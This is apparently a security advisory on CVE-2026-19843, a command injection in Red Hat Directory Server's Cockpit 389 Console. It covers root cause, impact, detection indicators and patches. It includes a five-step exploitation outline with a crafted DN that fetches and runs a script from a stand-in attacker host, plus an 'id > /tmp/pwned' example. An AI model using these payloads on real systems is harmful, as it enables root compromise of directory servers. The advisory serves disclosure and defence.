CVE-2026-19843: 
Linux Debian vulnerability analysis and mitigation

CVE-2026-19843 is an OS command injection vulnerability in the cockpit-389-ds subpackage of 389-ds-base (Red Hat Directory Server). The Cockpit 389 Console's LDAP editor constructs an ldapsearch command by embedding a raw LDAP distinguished name (DN) into a double-quoted shell command string without proper escaping; an LDAP user with delegated create/rename privileges can craft a malicious DN containing shell metacharacters (e.g., $(...) command substitution), which executes as root when a Cockpit administrator views the entry. Affected products include Red Hat Directory Server 11 (RHEL 8), 12 (RHEL 9), and 13 (RHEL 10); plain RHEL 389-ds-base without the cockpit-389-ds subpackage is not affected. The vulnerability was reported by Andrew Rukin (Arenadata) and publicly disclosed on September 7, 2026. It carries a CVSS v3.1 base score of 8.4 (High) (Red Hat CVE, GitHub Advisory).

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). Specifically, the functions getBaseLevelEntryAttributes() and runGenericSearch() (reached via retrieveAllAcis()) in utils.jsx of the cockpit-389-ds package concatenate a raw LDAP entry DN directly into a double-quoted string passed to /usr/bin/sh -c, executed via Cockpit's privileged superuser: true channel — which runs as unrestricted root with no capability restriction or SELinux confinement. Because double-quoted shell strings do not block $(...) command substitution, and LDAP DN syntax does not require escaping of $, (, or ), an attacker can embed arbitrary shell commands in a crafted DN such as uid=$(id > /tmp/pwned),ou=people,dc=example,dc=com. Exploitation requires two preconditions: (1) the attacker holds a delegated LDAP create/rename privilege (e.g., user_admin- or group_admin-scoped role, or full Directory Administrators), and (2) a more-privileged Cockpit operator subsequently views the crafted entry in the 389 Console (Red Hat CVE, Red Hat Bugzilla).

Successful exploitation results in arbitrary OS command execution with unrestricted root privileges on the directory server host, fully compromising confidentiality, integrity, and availability. An attacker can read or modify any file on the system, install backdoors, exfiltrate the entire LDAP directory (including credentials and sensitive organizational data), or disrupt directory services. Because the injected command runs as root outside any SELinux confinement, there is significant potential for lateral movement to other systems that trust the directory server for authentication (Red Hat CVE, Red Hat Bugzilla).

No weaponized exploit or in-the-wild exploitation has been confirmed; the EPSS score is approximately 0.47–0.48%, placing it around the 40th percentile (GitHub Advisory). A GitHub repository (gduma-phData/patch-CVE-2026-19843) was flagged as a potential PoC, but analysis determined it contains only a README with patch deployment status and no actual exploit code (Feedly). The vulnerability is not listed in the CISA KEV catalog, and no threat actor attribution has been reported. The NVD SSVC assessment classifies exploitation as "none" and the attack as non-automatable, consistent with the two-party precondition requirement (Red Hat CVE).

1. Obtain delegated LDAP privileges: Acquire an LDAP account with delegated create or rename privileges over a directory subtree (e.g., a user_admin- or group_admin-scoped role, or full Directory Administrators membership) on a Red Hat Directory Server instance with the cockpit-389-ds package installed.
2. Craft a malicious DN: Construct an LDAP entry whose DN contains a shell command substitution payload, for example: uid=$(curl http://attacker.com/shell.sh | bash),ou=people,dc=example,dc=com.
3. Create or rename the entry: Use standard LDAP tools (e.g., ldapadd or ldapmodify) to add or rename an entry in the directory with the crafted DN, leveraging the delegated privilege.
4. Wait for administrator interaction: The injected command does not execute immediately — it triggers only when a more-privileged Cockpit operator opens the 389 Console and views the crafted entry (or opens "Manage ACIs" on it), causing the console to call getBaseLevelEntryAttributes() or runGenericSearch().
5. Command executes as root: The Cockpit 389 Console embeds the raw DN into a shell command string passed to /usr/bin/sh -c via Cockpit's superuser: true channel, executing the injected command as unrestricted root on the directory server host (Red Hat CVE, Red Hat Bugzilla).

• LDAP Directory: Presence of directory entries with DNs containing shell metacharacters such as $, (, ), backticks, or semicolons — e.g., uid=$(...),... — especially in subtrees writable by delegated roles.
• File System: Unexpected files created in world-writable directories (e.g., /tmp/) by the root user or the Cockpit process; new cron jobs, SSH authorized keys, or scripts added to system directories; unexpected SUID binaries.
• Process: Unusual child processes spawned by Cockpit's superuser.py or cockpit-bridge (e.g., /bin/sh, curl, wget, bash, python) with root privileges; outbound network connections from the directory server to unknown external hosts initiated by Cockpit-related processes.
• Logs: Cockpit journal entries (journalctl -u cockpit) showing ldapsearch invocations with anomalous DN strings; system auth logs (/var/log/secure or journalctl) recording unexpected root-level command execution; audit logs (/var/log/audit/audit.log) with execve syscalls from Cockpit processes running unexpected commands.
• Network: Outbound connections from the directory server host to attacker-controlled infrastructure on non-standard ports, particularly initiated shortly after a Cockpit administrator session viewing LDAP entries (Red Hat CVE, Red Hat Bugzilla).

Red Hat released patches on September 8, 2026, across multiple errata addressing all affected Directory Server versions: RHSA-2026:64768 (DS 13.2 for RHEL 10, 389-ds-base-3.2.0-7.el10dsrv), RHSA-2026:64769 (DS 13.0 EUS for RHEL 10, 389-ds-base-3.0.6-4.el10dsrv), RHSA-2026:64779 (DS 12.2 E4S for RHEL 9), RHSA-2026:64780 (DS 12.4 E4S for RHEL 9), RHSA-2026:64782 (DS 12.6 EUS for RHEL 9), RHSA-2026:64792 (DS 11.7 E4S for RHEL 8), RHSA-2026:64793 (DS 11.9 for RHEL 8), and RHSA-2026:65375 (DS 12.8 for RHEL 9). Until patching is possible, Red Hat recommends restricting Cockpit 389 Console access to fully trusted administrators only, and restricting delegated LDAP add/rename privileges to trusted accounts. Plain RHEL systems that do not ship the cockpit-389-ds subpackage are not affected and require no action (Red Hat CVE, GitHub Advisory).

Red Hat Product Security rated this vulnerability as Important and provided a detailed technical statement acknowledging the root cause and exploitation preconditions (Red Hat CVE). The vulnerability was credited to Andrew Rukin of Arenadata, who reported it via Red Hat's PSIRT. The issue was confirmed as genuine by 389-ds-base maintainers following source-level analysis and end-to-end reproduction against a running ns-slapd + Cockpit stack (Red Hat Bugzilla). AusCERT issued bulletins ESB-2026.10668 and ESB-2026.10670, and the vulnerability was picked up by standard CVE tracking feeds; no significant broader media coverage or notable social media discussion has been identified.